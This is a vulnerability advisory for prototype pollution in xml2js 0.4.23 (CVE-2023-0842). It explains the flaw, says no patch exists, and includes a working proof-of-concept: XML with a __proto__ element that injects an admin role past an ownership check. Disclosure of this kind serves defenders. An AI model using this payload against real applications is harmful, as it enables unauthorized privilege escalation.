xml2js 0.4.23 - Prototype Pollution

Description

xml2js version 0.4.23 allows an external attacker to edit or add new properties to an object. This is possible because the application does not properly validate incoming JSON keys, thus allowing the __proto__ property to be edited.

Vulnerability

Prototype pollution is a vulnerability that affects JS. It occurs when a third party manages to modify the __proto__ of an object. JavaScript first checks if such a method/attribute exists in the object. If so, then it calls it. If not, it looks in the object's prototype. If the method/attribute is also not in the object's prototype, then the property is said to be undefined.

Therefore, if an attacker succeeds in injecting the __proto__ property into an object, he will succeed in injecting or editing its properties.

Exploitation

Exploit.md

var parseString = require('xml2js').parseString;

let normal_user_request = "<role>admin</role>";
let malicious_user_request = "<__proto__><role>admin</role></__proto__>";

const update_user = (userProp) => {
    // A user cannot alter his role. This way we prevent privilege escalations.
    parseString(userProp, function (err, user) {
        if(user.hasOwnProperty("role") && user?.role.toLowerCase() === "admin") {
            console.log("Unauthorized Action");
        } else {
            console.log(user?.role[0]);
        }
    });
}

update_user(normal_user_request);
update_user(malicious_user_request);

Evidence of exploitation

Our security policy

We have reserved the ID CVE-2023-0842 to refer to this issue from now on. Disclosure policy

System Information

• Version: xml2js 0.4.23

• Operating System: GNU/Linux

Mitigation

There is currently no patch available for this vulnerability.

References

• Vendor page https://github.com/Leonidas-from-XIV/node-xml2js/